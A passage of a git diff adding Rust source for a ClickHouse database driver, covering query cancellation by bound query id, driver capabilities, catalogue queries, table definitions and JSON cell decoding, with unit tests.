app would, and at least one, since zero is +/// the server's "no limit". +pub(crate) fn whole_seconds(bound: Option) -> u64 { + match bound { + None => 0, + Some(bound) => { + let rounded = bound.as_secs() + u64::from(bound.subsec_nanos() > 0); + rounded.max(1) + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_bound_rounds_up_to_whole_seconds_and_never_reaches_zero() { + assert_eq!(whole_seconds(None), 0); + assert_eq!(whole_seconds(Some(Duration::from_millis(1))), 1); + assert_eq!(whole_seconds(Some(Duration::ZERO)), 1); + assert_eq!(whole_seconds(Some(Duration::from_millis(1_500))), 2); + assert_eq!(whole_seconds(Some(Duration::from_secs(60))), 60); + } + + #[tokio::test(start_paused = true)] + async fn the_nearer_bound_wins() { + let deadline = Instant::now() + Duration::from_secs(5); + + assert_eq!( + read_bound(Some(deadline), Some(Duration::from_secs(60))), + Some(Duration::from_secs(5)) + ); + assert_eq!( + read_bound(None, Some(Duration::from_secs(60))), + Some(Duration::from_secs(60)) + ); + assert_eq!(read_bound(None, None), None); + } +} diff --git a/linux/crates/drivers/clickhouse/src/cancel.rs b/linux/crates/drivers/clickhouse/src/cancel.rs new file mode 100644 index 0000000000..40a790b3da --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/cancel.rs @@ -0,0 +1,169 @@ +use std::sync::{Mutex, MutexGuard, PoisonError}; + +use async_trait::async_trait; +use tablepro_core::{ + DriverError, EngineStop, ErrorCategory, LossPhase, StopDelivery, StopReason, StopRequest, StopScope, TimeoutPhase, +}; +use uuid::Uuid; + +use crate::errors::{code, map_error, server_code}; + +/// How far a call's KILL QUERY got. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum StopProgress { + NotSent, + /// Nothing of the call was running on the server. + NothingToStop, + /// The KILL was still out when the call returned. + InFlight, + /// The server answered the KILL, so it is reachable. + Delivered, + /// The KILL never reached the server. + Unreachable, +} + +/// ClickHouse's KILL QUERY, sent on the sessionless control client. +/// +/// It names the query id of the statement the call is running, not the +/// connection, so a late KILL cannot hit what runs after it. +pub(crate) struct ClickHouseStop { + control: clickhouse::Client, + running: Mutex>, + progress: Mutex, +} + +impl ClickHouseStop { + pub(crate) fn new(control: clickhouse::Client) -> Self { + Self { + control, + running: Mutex::new(None), + progress: Mutex::new(StopProgress::NotSent), + } + } + + /// The statement a stop now names. + pub(crate) fn track(&self, query_id: Uuid) { + *lock(&self.running) = Some(query_id); + } + + /// Nothing the stop may kill is running, as while a write statement + /// is in flight: killing it would not undo what it already applied. + pub(crate) fn clear(&self) { + *lock(&self.running) = None; + } + + pub(crate) fn progress(&self) -> StopProgress { + *lock(&self.progress) + } + + /// What a call stopped before it reached the server reads as. + pub(crate) fn interrupted(&self, request: &StopRequest) -> DriverError { + match request.reason() { + Some(StopReason::DeadlineElapsed) => DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false, + }, + Some(StopReason::Shutdown) => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + Some(StopReason::Cancelled) | None => DriverError::Cancelled, + } + } + + fn set(&self, progress: StopProgress) { + *lock(&self.progress) = progress; + } +} + +#[async_trait] +impl EngineStop for ClickHouseStop { + fn delivery(&self) -> StopDelivery { + StopDelivery::OutOfBand(StopScope::Statement) + } + + async fn stop(&self) -> Result<(), DriverError> { + let running = *lock(&self.running); + let Some(query_id) = running else { + self.set(StopProgress::NothingToStop); + return Ok(()); + }; + self.set(StopProgress::InFlight); + let outcome = kill_query(&self.control, query_id).await; + self.set(match &outcome { + Err(error) if unreachable(error) => StopProgress::Unreachable, + _ => StopProgress::Delivered, + }); + outcome + } + + fn acknowledged(&self, error: &DriverError) -> bool { + self.progress() != StopProgress::NotSent && acknowledges_stop(error) + } +} + +/// Whether the error is the server reporting a KILL taking effect. +pub(crate) fn acknowledges_stop(error: &DriverError) -> bool { + server_code(error) == Some(code::QUERY_WAS_CANCELLED) +} + +/// Stop one query, wherever it runs. The id is bound by the client +/// rather than written into the SQL, so nothing typed elsewhere can +/// change what the KILL matches. +pub(crate) async fn kill_query(control: &clickhouse::Client, query_id: Uuid) -> Result<(), DriverError> { + control + .query("KILL QUERY WHERE query_id = ? ASYNC") + .bind(query_id.to_string()) + .execute() + .await + .map_err(|error| map_error(&error)) +} + +fn unreachable(error: &DriverError) -> bool { + matches!( + error.category(), + ErrorCategory::Network | ErrorCategory::ConnectionLost | ErrorCategory::Timeout | ErrorCategory::Tls + ) +} + +fn lock(mutex: &Mutex) -> MutexGuard<'_, T> { + mutex.lock().unwrap_or_else(PoisonError::into_inner) +} + +#[cfg(test)] +mod tests { + use tablepro_core::{ServerCode, ServerDiagnostics}; + + use super::*; + + #[test] + fn only_a_394_acknowledges_a_stop() { + let cancelled = DriverError::reported(ServerDiagnostics::new( + Some(ServerCode::ClickHouse { code: 394 }), + "Code: 394. DB::Exception: Query was cancelled", + )); + let other = DriverError::reported(ServerDiagnostics::new( + Some(ServerCode::ClickHouse { code: 60 }), + "Code: 60. DB::Exception: Unknown table", + )); + + assert!(acknowledges_stop(&cancelled)); + assert!(!acknowledges_stop(&other)); + assert!(!acknowledges_stop(&DriverError::Cancelled)); + } + + #[test] + fn the_kill_binds_the_query_id_as_a_string_literal() { + let id = Uuid::nil(); + + let sql = clickhouse::Client::default() + .query("KILL QUERY WHERE query_id = ? ASYNC") + .bind(id.to_string()) + .sql_display() + .to_string(); + + assert_eq!( + sql, + "KILL QUERY WHERE query_id = '00000000-0000-0000-0000-000000000000' ASYNC" + ); + } +} diff --git a/linux/crates/drivers/clickhouse/src/capabilities.rs b/linux/crates/drivers/clickhouse/src/capabilities.rs new file mode 100644 index 0000000000..1b32501089 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/capabilities.rs @@ -0,0 +1,61 @@ +use tablepro_core::meta::ObjectKind; +use tablepro_core::{ + AuthMode, CommitResolutionSupport, DriverCapabilities, EndpointKind, EstimateQuality, ReadOnlyEnforcement, + ScriptExecution, ServerNameOverride, TlsCapabilities, TlsMode, WriteAtomicity, +}; + +pub(crate) const DEFAULT_PORT: u16 = 8123; + +pub(crate) static CAPABILITIES: DriverCapabilities = DriverCapabilities { + endpoint: EndpointKind::Network { + default_port: DEFAULT_PORT, + }, + auth_modes: &[AuthMode::Password], + tls: Some(TlsCapabilities { + modes: &[TlsMode::Disable, TlsMode::Require, TlsMode::VerifyFull], + ca_file: true, + client_identity: true, + server_name_override: ServerNameOverride::AnyRoute, + }), + // `readonly=2` travels with every request of a read-only connection, + // and the server refuses a write under it whatever the SQL says. + read_only: ReadOnlyEnforcement::EngineEnforced, + // A mutation is neither atomic nor stoppable, so a save is a sequence + // of statements that each land on their own. + dml_writes: WriteAtomicity::StatementByStatement, + ddl_writes: WriteAtomicity::StatementByStatement, + script_execution: ScriptExecution::SingleStatement, + commit_resolution: CommitResolutionSupport::QueryLog, + row_count_estimate: EstimateQuality::ExactMetadata, + object_kinds: &[ + ObjectKind::Table, + ObjectKind::View, + ObjectKind::MaterializedView, + ObjectKind::Dictionary, + ObjectKind::Function, + ], + database_required: false, +}; + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn capabilities_match_driver_contract() { + assert_eq!(CAPABILITIES.default_port(), Some(8123)); + assert!(CAPABILITIES.supports(AuthMode::Password)); + assert!(!CAPABILITIES.supports(AuthMode::Kerberos)); + let tls = CAPABILITIES.tls.expect("ClickHouse offers TLS"); + assert_eq!(tls.modes.len(), 3); + assert!(tls.ca_file && tls.client_identity); + assert_eq!(CAPABILITIES.read_only, ReadOnlyEnforcement::EngineEnforced); + assert_eq!(CAPABILITIES.dml_writes, WriteAtomicity::StatementByStatement); + assert_eq!(CAPABILITIES.ddl_writes, WriteAtomicity::StatementByStatement); + assert_eq!(CAPABILITIES.script_execution, ScriptExecution::SingleStatement); + assert_eq!(CAPABILITIES.commit_resolution, CommitResolutionSupport::QueryLog); + assert_eq!(CAPABILITIES.row_count_estimate, EstimateQuality::ExactMetadata); + assert_eq!(CAPABILITIES.object_kinds.len(), 5); + assert!(!CAPABILITIES.database_required); + } +} diff --git a/linux/crates/drivers/clickhouse/src/catalog/clickhouse_column_row.rs b/linux/crates/drivers/clickhouse/src/catalog/clickhouse_column_row.rs new file mode 100644 index 0000000000..ac668b2eb8 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/catalog/clickhouse_column_row.rs @@ -0,0 +1,189 @@ +use tablepro_core::column::{ColumnDefault, ColumnInfo, ColumnType, SqlExpression}; +use tablepro_core::ddl::{ColumnAttributes, ColumnKeyRoles, GeneratedColumn, GeneratedStorage, UnmodeledAttribute}; +use tablepro_core::edit::parse_literal_text; +use tablepro_core::sql_syntax::{LiteralToken, MAX_EXPRESSION_LEN, SqlGrammar, parse_expression}; +use tablepro_core::{DriverError, Value}; + +use crate::clickhouse_type::ClickHouseType; +use crate::result_reader::CatalogRow; + +/// The columns `ClickHouseColumnRow::read` expects, in order. +pub(crate) const COLUMN_SELECT: &str = "SELECT name, type, default_kind, default_expression, comment, \ + is_in_primary_key, is_in_sorting_key, is_in_partition_key \ + FROM system.columns WHERE database = {db:String} AND table = {tbl:String} ORDER BY position"; + +/// One row of `system.columns`. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct ClickHouseColumnRow { + pub(crate) name: String, + pub(crate) type_text: String, + pub(crate) default_kind: String, + pub(crate) default_expression: String, + pub(crate) comment: String, + pub(crate) in_primary_key: bool, + pub(crate) in_sorting_key: bool, + pub(crate) in_partition_key: bool, +} + +impl ClickHouseColumnRow { + pub(crate) fn read(row: &[Value]) -> Result { + let row = CatalogRow(row); + Ok(Self { + name: row.text(0)?, + type_text: row.text(1)?, + default_kind: row.text(2)?, + default_expression: row.text(3)?, + comment: row.text(4)?, + in_primary_key: row.flag(5)?, + in_sorting_key: row.flag(6)?, + in_partition_key: row.flag(7)?, + }) + } + + /// MATERIALIZED and ALIAS are computed by the server, and an + /// EPHEMERAL column is never stored, so none of them is written. + fn is_generated(&self) -> bool { + matches!(self.default_kind.as_str(), "MATERIALIZED" | "ALIAS" | "EPHEMERAL") + } + + pub(crate) fn info(&self) -> ColumnInfo { + let parsed = ClickHouseType::parse(&self.type_text); + let default = match self.default_kind.as_str() { + "DEFAULT" => classify_default(&self.default_expression, &parsed.column_type), + _ => ColumnDefault::None, + }; + ColumnInfo { + name: self.name.clone(), + nullable: parsed.nullable, + column_type: parsed.column_type, + primary_key: self.in_primary_key, + is_auto_increment: false, + is_generated: self.is_generated(), + default, + // An uncommented column comes back as the empty string, so + // the engine cannot tell "no comment" from an empty one. + comment: (!self.comment.is_empty()).then(|| self.comment.clone()), + } + } + + pub(crate) fn attributes(&self) -> ColumnAttributes { + let expression = || SqlExpression::from_catalog_text(self.default_expression.as_str()); + let generated = match self.default_kind.as_str() { + "MATERIALIZED" => Some(GeneratedColumn { + expression: expression(), + storage: GeneratedStorage::Stored, + }), + "ALIAS" => Some(GeneratedColumn { + expression: expression(), + storage: GeneratedStorage::Virtual, + }), + _ => None, + }; + let unmodeled = match self.default_kind.as_str() { + "EPHEMERAL" => vec![UnmodeledAttribute::new("EPHEMERAL")], + _ => Vec::new(), + }; + ColumnAttributes { + generated, + key_roles: ColumnKeyRoles { + sorting_key: self.in_sorting_key, + partition_key: self.in_partition_key, + }, + unmodeled, + ..ColumnAttributes::default() + } + } +} + +/// A DEFAULT as a value the insert path can bind where it is a literal, +/// and as the server's expression otherwise. +fn classify_default(text: &str, column_type: &ColumnType) -> ColumnDefault { + let text = text.trim(); + if text.is_empty() { + return ColumnDefault::None; + } + let expression = || ColumnDefault::Expression(SqlExpression::from_catalog_text(text)); + let Ok(parsed) = parse_expression(SqlGrammar::ClickHouse, text, MAX_EXPRESSION_LEN) else { + return expression(); + }; + let literal_text = match parsed.literal { + None => return expression(), + Some(LiteralToken::Null) => return ColumnDefault::None, + Some(LiteralToken::Text(text)) => text, + Some(LiteralToken::Number(number)) => number.to_string(), + Some(LiteralToken::Boolean(flag)) => flag.to_string(), + }; + match parse_literal_text(&literal_text, column_type) { + Ok(Value::Null) | Err(_) => expression(), + Ok(value) => ColumnDefault::Literal(value), + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::column::{ColumnKind, TextLength}; + + use super::*; + + fn row(name: &str, type_text: &str, kind: &str, expression: &str) -> ClickHouseColumnRow { + ClickHouseColumnRow { + name: name.to_owned(), + type_text: type_text.to_owned(), + default_kind: kind.to_owned(), + default_expression: expression.to_owned(), + comment: String::new(), + in_primary_key: false, + in_sorting_key: true, + in_partition_key: false, + } + } + + #[test] + fn classify_default_table() { + let default = |type_text: &str, expression: &str| row("c", type_text, "DEFAULT", expression).info().default; + + assert_eq!(default("UInt8", "42"), ColumnDefault::Literal(Value::Int(42))); + assert_eq!(default("Int32", "-1"), ColumnDefault::Literal(Value::Int(-1))); + assert_eq!( + default("String", "'it\\'s'"), + ColumnDefault::Literal(Value::Text("it's".to_owned())) + ); + assert_eq!( + default("DateTime", "now()"), + ColumnDefault::Expression(SqlExpression::from_catalog_text("now()")) + ); + assert_eq!(default("Nullable(String)", "NULL"), ColumnDefault::None); + assert_eq!(default("String", ""), ColumnDefault::None); + } + + #[test] + fn defaults_and_generated_columns_follow_default_kind() { + let plain = row("note", "Nullable(String)", "DEFAULT", "'x'").info(); + assert!(plain.nullable); + assert_eq!( + plain.column_type.kind, + ColumnKind::Text { + length: TextLength::Unbounded + } + ); + assert_eq!(plain.default, ColumnDefault::Literal(Value::Text("x".to_owned()))); + assert!(!plain.is_generated); + assert_eq!(plain.comment, None); + + let materialized = row("total", "UInt64", "MATERIALIZED", "a + b"); + assert!(materialized.info().is_generated); + assert_eq!(materialized.info().default, ColumnDefault::None); + assert_eq!( + materialized.attributes().generated.map(|generated| generated.storage), + Some(GeneratedStorage::Stored) + ); + assert!(materialized.attributes().key_roles.sorting_key); + + let ephemeral = row("raw", "String", "EPHEMERAL", ""); + assert!(ephemeral.info().is_generated); + assert_eq!( + ephemeral.attributes().unmodeled, + vec![UnmodeledAttribute::new("EPHEMERAL")] + ); + } +} diff --git a/linux/crates/drivers/clickhouse/src/catalog/mod.rs b/linux/crates/drivers/clickhouse/src/catalog/mod.rs new file mode 100644 index 0000000000..52369579fb --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/catalog/mod.rs @@ -0,0 +1,125 @@ +//! What `system.columns` and `system.tables` say about one table. + +mod clickhouse_column_row; +mod table_definition; + +use clickhouse::query::Query; +use tablepro_core::DriverError; +use tablepro_core::meta::{IndexInfo, RowIdentity, TableEstimate}; + +pub(crate) use clickhouse_column_row::ClickHouseColumnRow; +pub(crate) use table_definition::fetch_table_definition; + +use crate::call_client::CallClient; +use crate::key_expression::{columns_in_key_order, index_keys}; +use crate::result_reader::{CatalogRow, read_table}; +use clickhouse_column_row::COLUMN_SELECT; +use tablepro_core::meta::RowCountEstimate; + +/// A table, as the catalogue queries name it. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct CatalogTable { + pub(crate) database: String, + pub(crate) name: String, +} + +impl CatalogTable { + fn bind(&self, query: Query) -> Query { + query + .param("db", self.database.as_str()) + .param("tbl", self.name.as_str()) + } +} + +/// The keys `system.tables` keeps for a table. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub(crate) struct TableKeys { + pub(crate) sorting_key: String, + pub(crate) primary_key: String, + pub(crate) total_rows: Option, +} + +pub(crate) async fn column_rows( + calls: &CallClient, + table: &CatalogTable, +) -> Result, DriverError> { + let result = read_table(table.bind(calls.raw(COLUMN_SELECT)), None).await?; + result.rows.iter().map(|row| ClickHouseColumnRow::read(row)).collect() +} + +pub(crate) async fn table_keys(calls: &CallClient, table: &CatalogTable) -> Result { + let sql = "SELECT sorting_key, primary_key, total_rows FROM system.tables \ + WHERE database = {db:String} AND name = {tbl:String}"; + let result = read_table(table.bind(calls.raw(sql)), None).await?; + let Some(row) = result.rows.first() else { + return Ok(TableKeys::default()); + }; + let row = CatalogRow(row); + Ok(TableKeys { + sorting_key: row.text(0)?, + primary_key: row.text(1)?, + total_rows: row.optional_u64(2)?, + }) +} + +/// The sorting key as the table's primary index, then its skipping +/// indexes. A MergeTree key is sparse and allows duplicates, so none of +/// them is unique. +pub(crate) async fn fetch_indexes(calls: &CallClient, table: &CatalogTable) -> Result, DriverError> { + let keys = table_keys(calls, table).await?; + let mut indexes = Vec::new(); + let sorting = index_keys(&keys.sorting_key); + if !sorting.is_empty() { + indexes.push(IndexInfo { + name: format!("{}_sorting_key", table.name), + keys: sorting, + unique: false, + primary: true, + predicate: None, + }); + } + let sql = "SELECT name, expr FROM system.data_skipping_indices \ + WHERE database = {db:String} AND table = {tbl:String} ORDER BY name"; + let skipping = read_table(table.bind(calls.raw(sql)), None).await?; + for row in &skipping.rows { + let row = CatalogRow(row); + indexes.push(IndexInfo { + name: row.text(0)?, + keys: index_keys(&row.text(1)?), + unique: false, + primary: false, + predicate: None, + }); + } + Ok(indexes) +} + +/// The sorting key's columns name a row well enough to probe for, but +/// not uniquely: duplicates are legal, so every write proves its row. +pub(crate) async fn row_identity(calls: &CallClient, table: &CatalogTable) -> Result { + let flagged: Vec = column_rows(calls, table) + .await? + .into_iter() + .filter(|row| row.in_sorting_key) + .map(|row| row.name) + .collect(); + if flagged.is_empty() { + return Ok(RowIdentity::Unordered); + } + let keys = table_keys(calls, table).await?; + Ok(RowIdentity::SortingKey { + expressions: columns_in_key_order(&keys.sorting_key, &flagged), + }) +} + +/// MergeTree keeps an exact count in its metadata; an engine that does +/// not reports NULL. +pub(crate) async fn table_estimate(calls: &CallClient, table: &CatalogTable) -> Result { + let keys = table_keys(calls, table).await?; + Ok(TableEstimate { + rows: keys + .total_rows + .map_or(RowCountEstimate::Unknown, RowCountEstimate::Exact), + heap_blocks: None, + }) +} diff --git a/linux/crates/drivers/clickhouse/src/catalog/table_definition.rs b/linux/crates/drivers/clickhouse/src/catalog/table_definition.rs new file mode 100644 index 0000000000..cd17209b6a --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/catalog/table_definition.rs @@ -0,0 +1,58 @@ +use clickhouse::sql::Identifier; +use tablepro_core::DriverError; +use tablepro_core::ddl::{ColumnDefinition, PrimaryKeyConstraint, TableDefinition, TableSource}; +use tablepro_core::meta::TableRef; + +use super::{CatalogTable, column_rows, fetch_indexes, table_keys}; +use crate::call_client::CallClient; +use crate::key_expression::columns_in_key_order; +use crate::result_reader::{CatalogRow, read_table}; + +/// The table as structure changes plan against it. ClickHouse has no +/// foreign keys, so nothing points at it from elsewhere. +pub(crate) async fn fetch_table_definition( + calls: &CallClient, + table: &TableRef, + catalog: &CatalogTable, +) -> Result { + let rows = column_rows(calls, catalog).await?; + let keys = table_keys(calls, catalog).await?; + let primary: Vec = rows + .iter() + .filter(|row| row.in_primary_key) + .map(|row| row.name.clone()) + .collect(); + let primary_key = (!primary.is_empty()).then(|| PrimaryKeyConstraint { + name: None, + columns: columns_in_key_order(&keys.primary_key, &primary), + }); + let columns = rows + .iter() + .map(|row| ColumnDefinition::new(row.info(), row.attributes())) + .collect(); + let indexes = fetch_indexes(calls, catalog).await?; + let source = create_statement(calls, catalog).await?; + Ok(TableDefinition { + table: table.clone(), + columns, + primary_key, + indexes, + foreign_keys: Vec::new(), + inbound_foreign_keys: Vec::new(), + source: source.map(|create_statement| TableSource { + create_statement, + dependents: Vec::new(), + }), + }) +} + +/// SHOW CREATE TABLE names the table in SQL, so its name is bound as an +/// identifier by the client rather than quoted here. +async fn create_statement(calls: &CallClient, catalog: &CatalogTable) -> Result, DriverError> { + let query = calls + .template("SHOW CREATE TABLE ?.?") + .bind(Identifier(&catalog.database)) + .bind(Identifier(&catalog.name)); + let result = read_table(query, None).await?; + result.rows.first().map(|row| CatalogRow(row).text(0)).transpose() +} diff --git a/linux/crates/drivers/clickhouse/src/cell_seed.rs b/linux/crates/drivers/clickhouse/src/cell_seed.rs new file mode 100644 index 0000000000..744ac9c4fb --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/cell_seed.rs @@ -0,0 +1,435 @@ +use std::fmt; +use std::str::FromStr; + +use clickhouse_types::data_types::DataTypeNode; +use serde::Deserialize; +use serde::de::{DeserializeSeed, Deserializer, IgnoredAny, SeqAccess, Visitor}; +use serde_json::value::RawValue; +use tablepro_core::Value; +use tablepro_core::value::{OtherValue, SqlDecimal, SqlTime, Temporal, UndecodableReason, UndecodedValue, WideInteger}; + +/// How one column's cells are read from a JSON row. +/// +/// Each kind reads the JSON token the way the server wrote it, so a +/// number keeps every digit and a string that is not UTF-8 keeps every +/// byte. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) enum CellPlan { + /// String, FixedString and Enum: the bytes of the JSON string, which + /// the server sends as they are stored. + Text, + Integer, + Float32, + Float64, + Decimal, + Bool, + Date, + DateTime, + Time, + Uuid, + /// A string the app keeps as the server's text, such as an address. + ServerText { + type_name: String, + }, + Nullable(Box), + Array(Box), + /// Map, Tuple, Variant, Dynamic, JSON, AggregateFunction and the geo + /// types: the JSON token, kept whole. + Raw { + type_name: String, + }, +} + +impl CellPlan { + pub(crate) fn of(node: &DataTypeNode) -> Self { + match node { + DataTypeNode::String | DataTypeNode::FixedString(_) | DataTypeNode::Enum(..) => Self::Text, + DataTypeNode::UInt8 + | DataTypeNode::UInt16 + | DataTypeNode::UInt32 + | DataTypeNode::UInt64 + | DataTypeNode::UInt128 + | DataTypeNode::UInt256 + | DataTypeNode::Int8 + | DataTypeNode::Int16 + | DataTypeNode::Int32 + | DataTypeNode::Int64 + | DataTypeNode::Int128 + | DataTypeNode::Int256 => Self::Integer, + DataTypeNode::Float32 | DataTypeNode::BFloat16 => Self::Float32, + DataTypeNode::Float64 => Self::Float64, + DataTypeNode::Decimal(..) => Self::Decimal, + DataTypeNode::Bool => Self::Bool, + DataTypeNode::Date | DataTypeNode::Date32 => Self::Date, + DataTypeNode::DateTime(_) | DataTypeNode::DateTime64(..) => Self::DateTime, + DataTypeNode::Time | DataTypeNode::Time64(_) => Self::Time, + DataTypeNode::UUID => Self::Uuid, + DataTypeNode::IPv4 | DataTypeNode::IPv6 => Self::ServerText { + type_name: node.to_string(), + }, + DataTypeNode::Nullable(inner) => Self::Nullable(Box::new(Self::of(inner))), + DataTypeNode::LowCardinality(inner) | DataTypeNode::SimpleAggregateFunction(_, inner) => Self::of(inner), + DataTypeNode::Array(element) => Self::Array(Box::new(Self::of(element))), + other => Self::Raw { + type_name: other.to_string(), + }, + } + } + + /// Whether the value is the server's own text rather than a decoded + /// value. + pub(crate) fn reads_server_text(&self) -> bool { + match self { + Self::Raw { .. } | Self::ServerText { .. } => true, + Self::Nullable(inner) => inner.reads_server_text(), + _ => false, + } + } + + /// Whether any part of a cell is read as a raw JSON token, which + /// serde_json refuses when a string inside it is not UTF-8. + pub(crate) fn uses_raw(&self) -> bool { + match self { + Self::Raw { .. } => true, + Self::Nullable(inner) | Self::Array(inner) => inner.uses_raw(), + _ => false, + } + } + + /// The type a value that cannot be read is reported as. + pub(crate) fn type_name(&self) -> String { + match self { + Self::Text => "String".to_owned(), + Self::Integer => "Integer".to_owned(), + Self::Float32 => "Float32".to_owned(), + Self::Float64 => "Float64".to_owned(), + Self::Decimal => "Decimal".to_owned(), + Self::Bool => "Bool".to_owned(), + Self::Date => "Date".to_owned(), + Self::DateTime => "DateTime".to_owned(), + Self::Time => "Time".to_owned(), + Self::Uuid => "UUID".to_owned(), + Self::ServerText { type_name } | Self::Raw { type_name } => type_name.clone(), + Self::Nullable(inner) => format!("Nullable({})", inner.type_name()), + Self::Array(inner) => format!("Array({})", inner.type_name()), + } + } +} + +/// Reads one cell by its plan, or skips it when `plan` is `None`. +/// +/// Skipping goes through `IgnoredAny`, which serde_json does without +/// checking that strings are UTF-8, so a cell that cannot be read does +/// not stop the cells around it from being read. +#[derive(Debug, Clone, Copy)] +pub(crate) struct CellSeed<'p> { + pub(crate) plan: Option<&'p CellPlan>, +} + +impl<'de> DeserializeSeed<'de> for CellSeed<'_> { + type Value = Value; + + fn deserialize>(self, deserializer: D) -> Result { + let Some(plan) = self.plan else { + IgnoredAny::deserialize(deserializer)?; + return Ok(Value::Null); + }; + match plan { + CellPlan::Text => deserializer.deserialize_bytes(TextVisitor), + CellPlan::Nullable(inner) => deserializer.deserialize_option(NullableVisitor { inner }), + CellPlan::Array(element) => deserializer.deserialize_seq(ArrayVisitor { element }), + CellPlan::Raw { type_name } => { + let raw = <&RawValue>::deserialize(deserializer)?; + Ok(match raw.get() { + "null" => Value::Null, + text => other(type_name, text), + }) + } + CellPlan::ServerText { type_name } => { + let text = String::deserialize(deserializer)?; + Ok(other(type_name, &text)) + } + CellPlan::Date | CellPlan::DateTime | CellPlan::Time | CellPlan::Uuid => { + let text = Option::::deserialize(deserializer)?; + Ok(text.map_or(Value::Null, |text| temporal_or_uuid(plan, &text))) + } + CellPlan::Integer | CellPlan::Float32 | CellPlan::Float64 | CellPlan::Decimal | CellPlan::Bool => { + let raw = <&RawValue>::deserialize(deserializer)?; + Ok(number(plan, raw.get())) + } + } + } +} + +fn other(type_name: &str, text: &str) -> Value { + Value::Other(Box::new(OtherValue { + type_name: type_name.to_owned(), + text: text.to_owned(), + })) +} + +fn undecodable(plan: &CellPlan, reason: UndecodableReason) -> Value { + Value::Undecodable(Box::new(UndecodedValue { + type_name: plan.type_name(), + reason, + })) +} + +/// A number token, quoted or bare: the server quotes 64-bit and wider +/// integers, and the non-finite floats, so that JSON readers keep them. +fn number(plan: &CellPlan, token: &str) -> Value { + if token == "null" { + return Value::Null; + } + let text = token + .strip_prefix('"') + .and_then(|inner| inner.strip_suffix('"')) + .unwrap_or(token); + let parsed = match plan { + CellPlan::Integer => integer(text), + CellPlan::Float32 => f32::from_str(text).ok().map(Value::Float32), + CellPlan::Float64 => f64::from_str(text).ok().map(Value::Float64), + CellPlan::Decimal => SqlDecimal::from_str(text).ok().map(Value::Decimal), + CellPlan::Bool => match text { + "true" | "1" => Some(Value::Bool(true)), + "false" | "0" => Some(Value::Bool(false)), + _ => None, + }, + _ => None, + }; + parsed.unwrap_or_else(|| undecodable(plan, UndecodableReason::OutOfRange)) +} + +/// An integer of any width, in the smallest variant that holds it, the +/// way an edit parses one, so a value read back compares equal to the +/// same value typed in. +fn integer(text: &str) -> Option { + if let Ok(value) = text.parse::() { + return Some(Value::Int(value)); + } + if let Ok(value) = text.parse::() { + return Some(Value::UInt(value)); + } + text.parse::().ok().map(Value::WideInt) +} + +/// A date, time, timestamp or UUID in the server's text. One the driver +/// cannot parse is kept as that text rather than lost. +fn temporal_or_uuid(plan: &CellPlan, text: &str) -> Value { + let parsed = match plan { + CellPlan::Date => chrono::NaiveDate::parse_from_str(text, "%Y-%m-%d") + .ok() + .map(|date| Value::Date(Temporal::Finite(date))), + // `%.f` also reads a whole second, so this covers DateTime and + // every DateTime64 precision. + CellPlan::DateTime => chrono::NaiveDateTime::parse_from_str(text, "%Y-%m-%d %H:%M:%S%.f") + .ok() + .map(|stamp| Value::Timestamp(Temporal::Finite(stamp))), + CellPlan::Time => time(text).map(Value::Time), + CellPlan::Uuid => uuid::Uuid::parse_str(text).ok().map(Value::Uuid), + _ => None, + }; + parsed.unwrap_or_else(|| other(&plan.type_name(), text)) +} + +/// `[-]H:MM:SS[.fraction]`, where the hours run past a day. +fn time(text: &str) -> Option { + let (negative, unsigned) = match text.strip_prefix('-') { + Some(rest) => (true, rest), + None => (false, text), + }; + let (clock, fraction) = match unsigned.split_once('.') { + Some((clock, fraction)) => (clock, fraction), + None => (unsigned, ""), + }; + let mut parts = clock.split(':'); + let hours = parts.next()?.parse().ok()?; + let minutes = parts.next()?.parse().ok()?; + let seconds = parts.next()?.parse().ok()?; + if parts.next().is_some() || fraction.len() > 9 || !fraction.bytes().all(|byte| byte.is_ascii_digit()) { + return None; + } + let nanos = if fraction.is_empty() { + 0 + } else { + format!("{fraction:0<9}").parse().ok()? + }; + SqlTime::new(negative, hours, minutes, seconds, nanos).ok() +} + +struct TextVisitor; + +impl<'de> Visitor<'de> for TextVisitor { + type Value = Value; + + fn expecting(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + formatter.write_str("a string") + } + + fn visit_bytes(self, bytes: &[u8]) -> Result { + Ok(text_or_bytes(bytes.to_vec())) + } + + fn visit_byte_buf(self, bytes: Vec) -> Result { + Ok(text_or_bytes(bytes)) + } + + fn visit_str(self, text: &str) -> Result { + Ok(Value::Text(text.to_owned())) + } + + fn visit_unit(self) -> Result { + Ok(Value::Null) + } +} + +/// Text when the bytes are UTF-8. Otherwise the bytes themselves, which +/// is what the column stores: replacing the bad sequences would show a +/// value the row does not hold, and a save keyed on it would miss. +fn text_or_bytes(bytes: Vec) -> Value { + match String::from_utf8(bytes) { + Ok(text) => Value::Text(text), + Err(error) => Value::Bytes(error.into_bytes()), + } +} + +struct NullableVisitor<'p> { + inner: &'p CellPlan, +} + +impl<'de> Visitor<'de> for NullableVisitor<'_> { + type Value = Value; + + fn expecting(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + formatter.write_str("a value or null") + } + + fn visit_none(self) -> Result { + Ok(Value::Null) + } + + fn visit_unit(self) -> Result { + Ok(Value::Null) + } + + fn visit_some>(self, deserializer: D) -> Result { + CellSeed { plan: Some(self.inner) }.deserialize(deserializer) + } +} + +struct ArrayVisitor<'p> { + element: &'p CellPlan, +} + +impl<'de> Visitor<'de> for ArrayVisitor<'_> { + type Value = Value; + + fn expecting(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + formatter.write_str("an array") + } + + fn visit_seq>(self, mut seq: A) -> Result { + let mut values = Vec::with_capacity(seq.size_hint().unwrap_or(0)); + while let Some(value) = seq.next_element_seed(CellSeed 